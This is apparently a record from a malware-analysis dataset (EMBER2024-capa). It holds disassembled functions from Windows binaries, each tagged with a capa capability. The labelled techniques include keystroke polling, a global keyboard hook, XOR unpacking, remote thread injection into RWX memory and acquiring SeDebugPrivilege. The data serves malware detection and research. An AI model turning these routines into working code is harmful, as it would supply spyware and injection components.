joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4447e4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44481c]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4447fd
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44480c
or bl, 4
test esi, 0x20000000
je 0x444817
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44aec4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44aed6
add esp, 0xfffffff0
call fcn.00403530
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419064
mov eax, dword [0x453e10]
mov dword [eax + 4], ebx
mov dword [eax], 0x44b268
mov eax, dword [0x453e1c]
mov dword [eax + 4], ebx
mov dword [eax], 0x44b274
mov eax, ebx
call fcn.0044b280
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x41135c]
call fcn.004031f4
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x41135c]
call fcn.004031f4
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x41135c]
call fcn.004031f4
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x41135c]
call fcn.004031f4
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x41135c]
call fcn.004031f4
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44769c
push eax
push 0
push 0
mov eax, dword [0x453f5c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41aaa8]
call fcn.0041beec
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41aaa8]
call fcn.0041beec
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41aaa8]
call fcn.0041beec
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0044b6a0
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44b57c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44b57c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44b57c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44b013
call fcn.00403588
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x44b360
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44b50b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44b4ec
mov dl, 1
mov eax, dword [0x411778]
call fcn.004031f4
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403f5c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44b4db
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00439394
test al, al
je 0x44b4ce
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44b51c
lea eax, [ebp - 0x254]
call fcn.004088c4
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44b4ce
xor eax, eax
push ebp
push 0x44b4c7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44b554
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44b4b0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44b4b0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b4ce
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44b3d1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415254
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b512
lea eax, [ebp - 0x260]
call fcn.00403f5c
ret

Function at 0x44be40
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x455bb0]
cmp byte [eax + 0xa5], 0
jne 0x44beb1
cmp dword [0x455bc8], 0
jne 0x44be72
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44bdfc
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x455bc8], eax
cmp dword [0x455bc4], 0
jne 0x44be8d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x455bc4], eax
cmp dword [0x455bcc], 0
jne 0x44beb1
push esp
push 0
push 0
push 0x44bda0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x455bcc], eax
pop edx
ret
Function at 0x44bfa8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44bfbf
add esp, 0xfffffff0
call fcn.00403530
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419064
mov eax, dword [0x453f48]
cmp word [eax + 2], 0
jne 0x44bfe7
mov eax, dword [0x453f48]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044d680
mov eax, dword [0x453ff8]
cmp word [eax + 2], 0
jne 0x44c001
mov eax, dword [0x453ff8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044d878
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41135c]
call fcn.004031f4
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41135c]
call fcn.004031f4
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b258]
call fcn.00420ea0
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x44c188
mov eax, dword [0x453e70]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00421270
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x44de18
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x453e70]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040bf00
test eax, eax
je 0x44c0f6
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004082b8
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040bf28
test eax, eax
je 0x44c10a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
mov eax, dword [0x453d70]
cmp byte [eax], 0
jne 0x44c13e
mov eax, ebx
call fcn.0044c2b0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0044dff4
mov eax, ebx
call fcn.0044e9b8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44c17e
call fcn.00403588
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44c530
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x455bb0]
cmp dword [eax + 0x30], 0
je 0x44c5da
cmp dword [ebx + 0x94], 0
jne 0x44c5d4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44c4c0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44c5d4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44c59a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44c5d4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004136c4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44c5a9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44d13c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44d171
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040404c
jmp 0x44d17e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403fb0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44e1d0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44e211
mov eax, esi
call fcn.00434a54
test al, al
je 0x44e211
mov eax, dword [ebx + 0x84]
call fcn.0043477c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44e211
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043477c
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x450328
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x108], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4504fe
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
cmp dword [edi + 0x38], 0
jne 0x4504e5
mov eax, dword [edi + 0x30]
call fcn.0040421c
test eax, eax
jne 0x45037e
mov eax, dword [edi + 0x34]
call fcn.0040421c
test eax, eax
jne 0x45037e
mov eax, edi
call fcn.0045059c
jmp 0x4504e5
cmp dword [edi + 0xa0], 0
jne 0x4503b5
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0x30]
call fcn.00408314
push 0x3ec
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x455bd4]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_DdeCreateStringHandleA
mov dword [edi + 0xa0], eax
cmp dword [edi + 0xa4], 0
jne 0x4503ec
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0x34]
call fcn.00408314
push 0x3ec
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x455bd4]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_DdeCreateStringHandleA
mov dword [edi + 0xa4], eax
mov ecx, dword [edi + 0xa4]
mov edx, dword [edi + 0xa0]
mov eax, edi
call fcn.004505dc
mov ebx, eax
test bl, bl
jne 0x45049a
mov eax, dword [edi + 0x30]
call fcn.0040421c
test eax, eax
jne 0x450424
mov eax, dword [edi + 0xc0]
call fcn.0040421c
test eax, eax
je 0x45049a
mov eax, dword [edi + 0xc0]
call fcn.0040421c
test eax, eax
je 0x450446
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0xc0]
call fcn.00408314
jmp 0x450472
push dword [edi + 0x30]
push 0x450518
push dword [edi + 0x34]
lea eax, [ebp - 0x108]
mov edx, 3
call fcn.004042dc
mov edx, dword [ebp - 0x108]
lea eax, [ebp - 0x101]
call fcn.00408314
push 7
lea eax, [ebp - 0x101]
push eax
call sub.kernel32.dll_WinExec
cmp eax, 0x20
jb 0x45049a
mov ecx, dword [edi + 0xa4]
mov edx, dword [edi + 0xa0]
mov eax, edi
call fcn.004505dc
mov ebx, eax
test bl, bl
jne 0x4504a7
mov eax, edi
call fcn.0045059c
jmp 0x4504e5
mov eax, dword [edi + 0x58]
test eax, eax
je 0x4504b6
mov dword [edi + 0xa8], eax
jmp 0x4504c0
mov dword [edi + 0xa8], 1
mov eax, edi
call fcn.00450654
test al, al
je 0x4504e5
mov eax, edi
mov si, 0xffee
call fcn.00403420
xor ecx, ecx
xor edx, edx
mov eax, edi
call fcn.00450700
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450505
lea eax, [ebp - 0x108]
call fcn.00403f5c
ret
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
xor ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40b525
sub eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
or eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
or eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
or eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10002780
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x224
mov eax, dword [0x1001f0e0]
xor eax, esp
mov dword [esp + 0x220], eax
push esi
push edi
mov edi, dword [esp + 0x230]
mov esi, dword [edi + 0x104]
add esi, dword [edi + 0x100]
push 0x1c
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov ecx, dword [esp + 0x20]
lea edx, [esp + 8]
push edx
push 0x40
push 0x14
push esi
mov dword [edi + 0x13c], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
test eax, eax
jne 0x100027f2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x24]
push 0x200
push eax
call fcn.10003b10
add esp, 0xc
xor eax, eax
mov ecx, dword [esp + 0x220]
xor ecx, esp
call fcn.1000bb04
add esp, 0x224
ret
Function at 0x10003590
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
sub esp, 0x498
mov eax, dword [0x1001f0e0]
xor eax, esp
mov dword [esp + 0x494], eax
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x2a4]
push eax
mov edi, ecx
push 0x104
mov dword [edi], vtable.CJmi8EX.0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x10020718
push 0
push 0x10018314
lea ecx, [esp + 0x2b0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0x10020718
push 0x200
push 0x10020b60
call fcn.1000b3fd
push str..temp
push 0x200
push 0x10020b60
call fcn.1000b945
push 0x10020718
push 0x200
push 0x10021380
call fcn.1000b3fd
push str.Xn9EF56.gif
push 0x200
push 0x10021380
call fcn.1000b945
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add esp, 0x30
push 0x200
lea edx, [esp + 0xa8]
push edx
push 0
call ebx
lea eax, [esp + 0xa4]
push 0x10020518
push eax
call fcn.10003ab0
push 0x10020518
push 0x200
push 0x10020f70
call fcn.1000b3fd
push 0x10020518
push 0x200
push 0x10020318
call fcn.1000b3fd
push str.User_function.sav
push 0x200
push 0x10020518
call fcn.1000b945
push 0x10020518
push 0x200
push 0x10021180
call fcn.1000b3fd
push str..bak
push 0x200
push 0x10021180
call fcn.1000b945
add esp, 0x44
push str.hexinjm.dat
push 0x200
push 0x10020f70
call fcn.1000b945
push str.hexin.ini
push 0x200
push 0x10020318
call fcn.1000b945
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x18
push 1
push 0x10020518
push 0x10020718
call esi
push 1
push 0x10021180
push 0x10020718
call esi
push 0x10020718
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x10002700
push 0x6ddd00
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
push 0x94
lea ecx, [esp + 0x14]
push 0
push ecx
call fcn.1000bd80
add esp, 0xc
lea edx, [esp + 0x10]
push edx
mov dword [esp + 0x14], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov byte [0x10020d9a], 0
push 0x10020d68
inc esi
call fcn.10005240
mov cl, byte [0x10020d68]
add esp, 4
mov eax, 1
jmp 0x10003780
cmp byte [eax + 0x10020d68], cl
jne 0x1000378e
inc byte [0x10020d9a]
inc eax
cmp eax, 0x14
jl 0x10003780
mov al, 0x11
cmp al, byte [0x10020d9a]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp esi, 3
setl dl
test edx, ecx
je 0x100037b2
push 0x64
call ebp
jmp 0x10003762
mov dl, byte [esp + 0x18]
mov al, byte [esp + 0x20]
mov cl, byte [esp + 0x14]
inc dl
mov byte [0x10020d7e], al
mov byte [0x10020d7f], cl
mov byte [0x10020d80], dl
xor eax, eax
mov dl, 0xf0
mov cl, 0x30
cmp byte [eax + 0x10020d68], dl
jbe 0x100037e5
mov byte [eax + 0x10020d68], cl
inc eax
cmp eax, 0x1e
jl 0x100037d7
mov byte [0x10020948], 0
push 0x100182b8
mov dword [edi + 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x1000382d
push 0x200
lea ecx, [esp + 0xa8]
push ecx
push eax
call ebx
lea edx, [esp + 0xa4]
push 0x10020948
push edx
call fcn.10003ab0
add esp, 8
mov ecx, edi
call fcn.10002710
mov ecx, edi
call fcn.10003560
mov ecx, dword [esp + 0x4a4]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000bb04
add esp, 0x498
ret
Function at 0x10003880
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ecx
push 0x10018324
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp], eax
test eax, eax
jne 0x100038a6
or eax, 0xffffffff
pop ecx
ret 8
push edi
mov edi, dword [esp + 0xc]
test edi, edi
jne 0x100038b7
or eax, 0xffffffff
pop edi
pop ecx
ret 8
push ebp
mov ebp, dword [esp + 0x14]
mov eax, ebp
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100038c1
push ebx
push esi
push 0x40
sub eax, edx
push 0x1000
lea ebx, [eax + 1]
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x100038f8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
pop ebp
or eax, 0xffffffff
pop edi
pop ecx
ret 8
push 0
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp eax, 0xc0000005
je 0x10003953
test eax, eax
je 0x10003953
mov eax, dword [esp + 0x10]
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
je 0x10003953
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
pop ebp
xor eax, eax
pop edi
pop ecx
ret 8
push 0x8000
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop esi
pop ebx
pop ebp
or eax, 0xffffffff
pop edi
pop ecx
ret 8

Function at 0x10003970
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x30
mov ecx, dword [esp + 0x34]
lea eax, [esp + 4]
push eax
push 0x28
push ecx
mov dword [esp + 0xc], 0x10
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10003997
xor eax, eax
add esp, 0x30
ret
lea edx, [esp + 8]
push edx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10003991
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea edx, [esp + 4]
push edx
mov edx, dword [esp + 0xc]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x18]
push eax
push 0x10
mov dword [esp + 0x38], ecx
lea ecx, [esp + 0x30]
push ecx
push 0
push edx
mov dword [esp + 0x3c], 1
mov dword [esp + 0x48], 0
call esi
test eax, eax
jne 0x100039f7
pop esi
add esp, 0x30
ret
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 4]
mov ecx, dword [esp + 0x10]
or dword [esp + 0x20], 2
push 0
push 0
push edx
mov dword [esp + 0x24], eax
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x2c], ecx
mov ecx, dword [esp + 0x18]
push 0
push ecx
mov dword [esp + 0x2c], 1
call esi
neg eax
sbb eax, eax
neg eax
pop esi
add esp, 0x30
ret
Function at 0x10004b50
Capabilities:
Get storage device properties

Disassembly:
mov eax, 0x2ff4
call fcn.1000bf40
mov eax, dword [0x1001f0e0]
xor eax, esp
mov dword [esp + 0x2ff0], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push edi
xor ebx, ebx
xor edi, edi
push edi
lea eax, [esp + 0x24]
push str..PhysicalDrive_d
push eax
call fcn.10004b10
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 3
push ebx
lea ecx, [esp + 0x38]
push ecx
call ebp
mov esi, eax
cmp esi, 0xffffffff
je 0x10004ca1
xor eax, eax
push 0x2710
lea edx, [esp + 0x8f4]
push ebx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
push edx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
call fcn.1000bd80
add esp, 0xc
push ebx
lea eax, [esp + 0x14]
push eax
push 0x2710
lea ecx, [esp + 0x8fc]
push ecx
push 0xc
lea edx, [esp + 0x28]
push edx
push 0x2d1400
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10004c94
mov ecx, dword [esp + 0x908]
lea eax, [esp + 0x120]
push eax
push 1
push ecx
lea edx, [esp + 0x8fc]
push edx
call fcn.10004930
add esp, 0x10
cmp byte [0x100217c0], bl
jne 0x10004c9a
movsx eax, byte [esp + 0x120]
push eax
call fcn.1000c5ba
add esp, 4
test eax, eax
jne 0x10004c55
movsx ecx, byte [esp + 0x133]
push ecx
call fcn.1000c5ba
add esp, 4
test eax, eax
je 0x10004c9a
lea edx, [esp + 0x120]
push edx
push 0x400
push 0x100217c0
call fcn.1000b3fd
lea eax, [esp + 0x514]
push eax
push 0x400
push 0x10021bc0
call fcn.1000b3fd
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x10004cad
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, 4
jl 0x10004b76
xor eax, eax
mov ecx, dword [esp + 0x3000]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000bb04
add esp, 0x2ff4
ret